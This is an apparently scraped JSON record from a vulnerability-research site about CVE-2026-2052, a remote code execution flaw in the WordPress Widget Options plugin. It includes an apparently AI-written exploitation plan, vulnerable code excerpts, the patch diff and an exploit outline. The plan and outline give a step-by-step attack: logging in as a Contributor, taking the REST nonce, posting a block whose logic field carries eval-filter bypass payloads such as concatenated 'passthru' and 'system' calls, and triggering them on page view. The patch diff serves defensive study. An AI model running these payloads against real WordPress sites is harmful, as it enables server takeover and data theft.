[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fLLMsl4-PCDlkOv23opERW_ymfWWx5ECJS2n5t_KE_CQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-2052","widget-options-authenticated-contributor-remote-code-execution-via-display-logic","Widget Options \u003C= 4.2.2 - Authenticated (Contributor+) Remote Code Execution via Display Logic","The Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.2 via the Display Logic feature. This is due to the plugin using eval() on user-supplied Display Logic expressions with an insufficient blocklist\u002Fallowlist that can be bypassed using array_map with string concatenation, combined with a lack of authorization enforcement on the extended_widget_opts_block attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server. The vulnerability was partially patched in version 4.2.0.","widget-options",null,"\u003C=4.2.2","4.2.3","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Control of Generation of Code ('Code Injection')","2026-05-01 00:00:00","2026-05-02 07:46:41",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F68023557-fc92-4cf6-96b4-405ff5a5fd5a?source=api-prod",1,[22,23,24,25,26,27,28],"includes\u002Fajax-functions.php","includes\u002Fextras.php","includes\u002Fsnippets\u002Fclass-snippets-admin.php","includes\u002Fwidgets\u002Fgutenberg\u002Fgutenberg-toolbar.php","includes\u002Fwidgets\u002Foption-tabs\u002Fvisibility.php","plugin.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-2052 (Widget Options RCE)\n\n## 1. Vulnerability Summary\nThe **Widget Options** plugin (up to 4.2.2) is vulnerable to Remote Code Execution (RCE) because it utilizes `eval()` to process \"Display Logic\" strings without adequate filtering. While the plugin attempts to block dangerous PHP functions, the blocklist is insufficient and can be bypassed using `array_map` combined with string concatenation (e.g., `array_map('sys' . 'tem', ['id'])`). \n\nCrucially, the plugin registers a Gutenberg block attribute `extended_widget_opts_block` for all block types but fails to enforce proper authorization or sanitization on the `logic` property within this attribute. This allows users with **Contributor-level** permissions (who can create or edit posts) to inject arbitrary PHP code that executes when the block is rendered on the frontend.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: WordPress REST API (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`) or the Gutenberg editor save process.\n- **Vulnerable Attribute**: `extended_widget_opts_block` (specifically the `logic` sub-property).\n- **Authentication**: Authenticated (Contributor-level or higher).\n- **Payload Carry**: The payload is stored within the Gutenberg block metadata (JSON-encoded in the `post_content`).\n- **Sink**: `eval()` call within the plugin's logic evaluation engine (likely triggered during block rendering).\n\n## 3. Code Flow\n1. **Registration**: In `includes\u002Fwidgets\u002Fgutenberg\u002Fgutenberg-toolbar.php`, the plugin uses the `register_block_type_args` filter (Line 96) to add the `extended_widget_opts_block` attribute to almost all Gutenberg blocks.\n2. **Injection**: A Contributor user creates a post. The block's attributes are sent to the server. For example, a `core\u002Fparagraph` block is saved with an attribute: `extended_widget_opts_block: { \"logic\": \"payload\" }`.\n3. **Storage**: WordPress saves the block into `post_content` as:\n   `\u003C!-- wp:paragraph {\"extended_widget_opts_block\":{\"logic\":\"PAYLOAD\"}} -->\u003Cp>...\u003C\u002Fp>\u003C!-- \u002Fwp:paragraph -->`\n4. **Rendering**: When any user (including unauthenticated visitors) views the post, WordPress parses the blocks.\n5. **Execution**: The plugin hooks into the block rendering process (e.g., `render_block`). It extracts the `logic` string from the `extended_widget_opts_block` attribute and passes it to the evaluation function (inferred to involve `eval()`).\n6. **Bypass**: The evaluation function checks for strings like `system`, but the payload `array_map('p' . 'assthru', ['id'])` bypasses the check because the literal string `passthru` does not appear in the source.\n\n## 4. Nonce Acquisition Strategy\nWhile the primary exploit involves a Contributor-level authenticated session, a WordPress REST API nonce (`_wpnonce`) is required to create or update posts via the API.\n\n1. **Login**: Authenticate as a Contributor.\n2. **Retrieve Nonce**: Navigate to the WordPress dashboard or a post editing page.\n3. **Extraction**: Use `browser_eval` to extract the REST nonce from the global `wpApiSettings` object.\n   - **Variable**: `window.wpApiSettings.nonce`\n4. **Alternative**: If the REST API is not used, the nonce `widgetopts-settings-nonce` from `ajax-functions.php` (Line 31) might be relevant for settings, but for RCE, the Gutenberg block attribute path is more direct.\n\n## 5. Exploitation Strategy\n\n### Step 1: Authentication and Environment Setup\n- Authenticate the session as a user with the `Contributor` role.\n- Verify that the \"Display Logic\" module is enabled (it usually is by default in the free version).\n\n### Step 2: Create a Malicious Post\nUse the `http_request` tool to send a REST API request to create a post containing a block with the malicious logic.\n\n- **URL**: `{{BASE_URL}}\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n- **Method**: `POST`\n- **Headers**:\n  - `Content-Type: application\u002Fjson`\n  - `X-WP-Nonce: {{REST_NONCE}}`\n- **Payload**:\n```json\n{\n  \"title\": \"Security Research\",\n  \"content\": \"\u003C!-- wp:paragraph {\\\"extended_widget_opts_block\\\":{\\\"logic\\\":\\\"array_map('p' . 'assthru', ['id']) || true\\\"}} -->\\n\u003Cp>Verification block\u003C\u002Fp>\\n\u003C!-- \u002Fwp:paragraph -->\",\n  \"status\": \"publish\"\n}\n```\n*Note: Using `|| true` ensures the `eval()` result returns true, so the block renders and the output is visible.*\n\n### Step 3: Trigger the Execution\nCapture the `id` of the created post from the JSON response of Step 2.\n- **URL**: `{{BASE_URL}}\u002F?p={{POST_ID}}`\n- **Method**: `GET`\n\n### Step 4: Verification\nInspect the HTML response for the output of the `id` command (e.g., `uid=33(www-data)`).\n\n## 6. Test Data Setup\n1. **User**: A user with username `contributor_test` and role `contributor`.\n2. **Plugin Config**: Ensure \"Display Logic\" is active. If not, an admin must activate it via **Settings > Widget Options > Modules**.\n3. **Block Context**: No specific shortcodes are required for the RCE itself, as the attribute is added to standard blocks like `core\u002Fparagraph`.\n\n## 7. Expected Results\n- The REST API call should return `201 Created`.\n- The `GET` request to the new post should contain the shell command output at the top or within the block's content area (depending on where the plugin's `eval` output is captured\u002Fechoed).\n- If `passthru` output is not directly visible in the HTML due to output buffering, use a blind payload: `array_map('p' . 'assthru', ['touch wp-content\u002Fuploads\u002Frce.txt'])`.\n\n## 8. Verification Steps (Post-Exploit)\nUsing `wp_cli`:\n1. Check for the existence of a file created by the payload:\n   `wp eval \"echo file_exists('wp-content\u002Fuploads\u002Frce.txt') ? 'VULNERABLE' : 'SAFE';\"`\n2. Check the post content to ensure the attribute was saved correctly:\n   `wp post get {{POST_ID}} --field=post_content`\n\n## 9. Alternative Approaches\n- **Snippet System**: If Gutenberg attributes are blocked, check `includes\u002Fsnippets\u002Fclass-snippets-admin.php`. The plugin recently introduced a \"Snippets\" system for logic. A Contributor might be able to create a logic snippet (CPT `widgetopts-snippets`) that contains the same `eval` bypass.\n- **Classic Widgets**: If the site uses the Classic Editor\u002FWidgets, the same payload can be injected into the widget instance data via `widget_update_callback` (referenced in `gutenberg-toolbar.php` Line 172).\n- **Function Concatenation**: If `array_map` is blocked, try:\n  `$f = 'sys' . 'tem'; $f('id');`\n  `('p' . 'assthru')('id');` (PHP 7+)","The Widget Options plugin for WordPress is vulnerable to Remote Code Execution up to version 4.2.2 via its 'Display Logic' feature. Contributor-level users can inject arbitrary PHP code into Gutenberg block attributes, which the plugin then executes using eval() after failing to sufficiently validate the code for obfuscated or dynamic function calls.","\u002F\u002F includes\u002Fwidgets\u002Fgutenberg\u002Fgutenberg-toolbar.php line 140\n\t} else {\n\t\t\u002F\u002Fif block type is not luckywp\u002Ftableofcontents use type object\n\t\t$args['attributes']['extended_widget_opts_block'] = array(\n\t\t\t'type' => 'object',\n\t\t\t'default' => (object)[]\n\t\t);\n\n\t\t$args['attributes']['extended_widget_opts'] = array(\n\t\t\t'type' => 'object',\n\t\t\t'default' => (object)[]\n\t\t);\n\t}\n\n---\n\n\u002F\u002F includes\u002Fextras.php line 495\nfunction widgetopts_safe_eval($expression)\n{\n    if (widgetopts_is_widget_or_post_preview()) {\n        \u002F\u002F Always return true for previews unless the user is an administrator\n        if (!current_user_can('administrator')) {\n            return true;\n        }\n    }\n\n---\n\n\u002F\u002F includes\u002Fextras.php line 836\n    foreach ($tokens as $index => $token) {\n        if (is_array($token)) {\n            $token_type = $token[0];\n            $token_value = $token[1];\n\n            \u002F\u002F **Fix: Properly detect function calls inside conditions**\n            if ($token_type === T_STRING) {\n                $function_name = strtolower($token_value);\n                $next_token = $tokens[$index + 1] ?? null;\n\n                if ($next_token === '(' || (is_array($next_token) && $next_token[0] === T_WHITESPACE && ($tokens[$index + 2] ?? null) === '(')) {\n                    if (!in_array($function_name, array_map('strtolower', $allowed_functions))) {\n                        $is_safe = false;\n                        break;\n                    }\n                }\n            }\n            \u002F\u002F ... dynamic calls via variables or strings were not checked","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwidget-options\u002F4.2.2\u002Fincludes\u002Fajax-functions.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwidget-options\u002F4.2.3\u002Fincludes\u002Fajax-functions.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwidget-options\u002F4.2.2\u002Fincludes\u002Fajax-functions.php\t2026-03-25 12:50:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwidget-options\u002F4.2.3\u002Fincludes\u002Fajax-functions.php\t2026-04-24 08:09:42.000000000 +0000\n@@ -28,6 +28,11 @@\n \t\treturn;\n \t}\n \n+\tif (!current_user_can('manage_options')) {\n+\t\twp_send_json_error('You do not have permission to manage settings.', 403);\n+\t\texit;\n+\t}\n+\n \tswitch ($_POST['method']) {\n \t\tcase 'activate':\n \t\tcase 'deactivate':\n@@ -141,8 +146,14 @@\n \tadd_action('wp_ajax_widgetopts_hideRating', 'widgetopts_ajax_hide_rating');\n endif;\n \n+\n function widgetopts_ajax_validate_expression()\n {\n+\tif (!current_user_can('manage_options')) {\n+\t\twp_send_json_error('You do not have permission to validate expressions.', 403);\n+\t\texit;\n+\t}\n+\t\n \tif (!wp_verify_nonce($_POST['nonce'], 'widgetopts-expression-nonce')) {\n \t\techo json_encode(['response' => 'failed', 'message' => 'Security check failed. Please refresh the page and try again.']);\n \t\tdie();\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwidget-options\u002F4.2.2\u002Fincludes\u002Fextras.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwidget-options\u002F4.2.3\u002Fincludes\u002Fextras.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwidget-options\u002F4.2.2\u002Fincludes\u002Fextras.php\t2026-03-25 12:50:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwidget-options\u002F4.2.3\u002Fincludes\u002Fextras.php\t2026-04-24 08:09:42.000000000 +0000\n@@ -495,8 +495,7 @@\n function widgetopts_safe_eval($expression)\n {\n     if (widgetopts_is_widget_or_post_preview()) {\n-        \u002F\u002F Always return true for previews unless the user is an administrator\n-        if (!current_user_can('administrator')) {\n+        if (!current_user_can('manage_options')) {\n             return true;\n         }\n     }\n@@ -609,9 +608,20 @@\n         'wordwrap',\n \n         \u002F\u002F Array Manipulation\n+        'array_merge',\n+        'array_diff',\n+        'array_keys',\n+        'array_values',\n         'in_array', \n         'count', \n         'sizeof',\n+        'array_slice',\n+        'array_push',\n+        'array_pop',\n+        'array_intersect',\n+        'array_unique',\n+        'array_column',\n+        'array_reverse',\n \n         \u002F\u002F Math Functions\n         'abs',\n@@ -684,8 +694,7 @@\n         'pathinfo',\n         'basename',\n         'dirname',\n-        'file_exists',\n-        'readfile',\n+        'file_exists'\n     ];\n }\n \n@@ -820,6 +829,28 @@\n }\n \n \u002F**\n+ * Return the nearest significant token relative to $index, skipping whitespace and comments.\n+ *\n+ * @param array $tokens  Token array from token_get_all().\n+ * @param int   $index   Starting position.\n+ * @param int   $dir     1 = look forward (next), -1 = look backward (prev).\n+ * @return array|string|null The token, or null if none found.\n+ *\u002F\n+function widgetopts_adjacent_significant_token(array $tokens, int $index, int $dir)\n+{\n+    $skip  = [T_WHITESPACE, T_COMMENT, T_DOC_COMMENT];\n+    $count = count($tokens);\n+    for ($i = $index + $dir; $dir === 1 ? $i \u003C $count : $i >= 0; $i += $dir) {\n+        $t = $tokens[$i];\n+        if (is_array($t) && in_array($t[0], $skip, true)) {\n+            continue;\n+        }\n+        return $t;\n+    }\n+    return null;\n+}\n+\n+\u002F**\n  * Validate PHP code against allowed functions and detect obfuscated calls.\n  *\n  * @param string $code The PHP code to validate.\n@@ -836,19 +867,42 @@\n \n     $tokens = token_get_all($code);\n     $is_safe = true;\n-    $last_token = null;\n+\n+    \u002F\u002F Language constructs that are NOT T_STRING — the allowlist loop would silently skip them.\n+    \u002F\u002F T_EVAL \u002F T_INCLUDE* \u002F T_REQUIRE* are also caught by the regex in widgetopts_validate_expression,\n+    \u002F\u002F but blocking them here provides an independent second layer.\n+    $forbidden_constructs = [T_EVAL, T_INCLUDE, T_INCLUDE_ONCE, T_REQUIRE, T_REQUIRE_ONCE, T_EXIT, T_GOTO];\n \n     foreach ($tokens as $index => $token) {\n         if (is_array($token)) {\n-            $token_type = $token[0];\n+            $token_type  = $token[0];\n             $token_value = $token[1];\n \n-            \u002F\u002F **Fix: Properly detect function calls inside conditions**\n-            if ($token_type === T_STRING) {\n-                $function_name = strtolower($token_value);\n-                $next_token = $tokens[$index + 1] ?? null;\n+            \u002F\u002F Block language constructs (eval, include, require, exit, goto).\n+            \u002F\u002F These produce dedicated token types, not T_STRING, so the allowlist\n+            \u002F\u002F check below would silently pass them.\n+            if (in_array($token_type, $forbidden_constructs, true)) {\n+                $is_safe = false;\n+                break;\n+            }\n \n-                if ($next_token === '(' || (is_array($next_token) && $next_token[0] === T_WHITESPACE && ($tokens[$index + 2] ?? null) === '(')) {\n+            \u002F\u002F Detect function calls — skip non-significant tokens before '('\n+            if ($token_type === T_STRING) {\n+                $next = widgetopts_adjacent_significant_token($tokens, $index, 1);\n+                if ($next === '(') {\n+                    \u002F\u002F Block method\u002Fstatic\u002Fnullsafe calls: $obj->func(), Class::func(), $obj?->func()\n+                    \u002F\u002F The identifier looks like an allowed function name but is actually a method —\n+                    \u002F\u002F the allowlist covers only direct (free) function calls.\n+                    $prev = widgetopts_adjacent_significant_token($tokens, $index, -1);\n+                    $method_ops = [T_OBJECT_OPERATOR, T_DOUBLE_COLON];\n+                    if (defined('T_NULLSAFE_OBJECT_OPERATOR')) {\n+                        $method_ops[] = T_NULLSAFE_OBJECT_OPERATOR; \u002F\u002F PHP 8.0+ (?->)\n+                    }\n+                    if (is_array($prev) && in_array($prev[0], $method_ops, true)) {\n+                        $is_safe = false;\n+                        break;\n+                    }\n+                    $function_name = strtolower($token_value);\n                     if (!in_array($function_name, array_map('strtolower', $allowed_functions))) {\n                         $is_safe = false;\n                         break;\n@@ -856,22 +910,30 @@\n                 }\n             }\n \n-            \u002F\u002F **Fix: Detect if T_ENCAPSED_AND_WHITESPACE is being treated as code**\n+            \u002F\u002F Detect if T_ENCAPSED_AND_WHITESPACE is being treated as code\n             if ($token_type === T_ENCAPSED_AND_WHITESPACE) {\n                 $is_safe = false;\n                 break;\n             }\n \n-            \u002F\u002F **Fix: Dynamic Function Execution (`$func()` or `['test']()`)**\n+            \u002F\u002F Dynamic call via variable or string literal: `$fn()` \u002F `'func'()`\n+            \u002F\u002F Skip non-significant tokens between the token and '('\n             if ($token_type === T_VARIABLE || $token_type === T_CONSTANT_ENCAPSED_STRING) {\n-                $next_token = $tokens[$index + 1] ?? null;\n-                if ($next_token === '(') {\n+                $next = widgetopts_adjacent_significant_token($tokens, $index, 1);\n+                if ($next === '(') {\n                     $is_safe = false;\n                     break;\n                 }\n             }\n-\n-            $last_token = $token;\n+        } elseif ($token === ']' || $token === ')') {\n+            \u002F\u002F Subscript-then-call  `$arr['key']()`  and\n+            \u002F\u002F Concat-then-call     `('fi'.'le_put_contents')()`\n+            \u002F\u002F Skip non-significant tokens (whitespace \u002F comments) before '('\n+            $next = widgetopts_adjacent_significant_token($tokens, $index, 1);\n+            if ($next === '(') {\n+                $is_safe = false;\n+                break;\n+            }\n         }\n     }","The exploit target is an authenticated Contributor user who has access to create or edit posts via the Gutenberg editor or the WordPress REST API. \n\n1. **Payload Creation**: The attacker crafts a PHP payload that bypasses simple function-name scanning. Since the plugin's validation logic up to 4.2.2 only checks for literal function names followed by parentheses (T_STRING followed by '('), a payload like `array_map('p' . 'assthru', ['id'])` or `('sys' . 'tem')('id')` will bypass the filter because the literal strings 'passthru' or 'system' do not appear as direct tokens followed by a parenthesis.\n\n2. **Injection**: The attacker creates a new post and injects the payload into the `extended_widget_opts_block` attribute of any Gutenberg block (like `core\u002Fparagraph`). The payload is placed in the `logic` property of this attribute: `{\"extended_widget_opts_block\":{\"logic\":\"array_map('p' . 'assthru', ['id']) || true\"}}`.\n\n3. **Execution**: Once the post is saved, the attacker (or any visitor) views the post. When WordPress renders the block, the Widget Options plugin extracts the `logic` string and executes it via `eval()`. Using `|| true` in the payload ensures the block remains visible in the browser, allowing the attacker to see the command output in the HTTP response.","gemini-3-flash-preview","2026-05-04 17:24:46","2026-05-04 17:25:33",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","4.2.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwidget-options\u002Ftags\u002F4.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwidget-options.4.2.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwidget-options\u002Ftags\u002F4.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwidget-options.4.2.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwidget-options\u002Ftags"]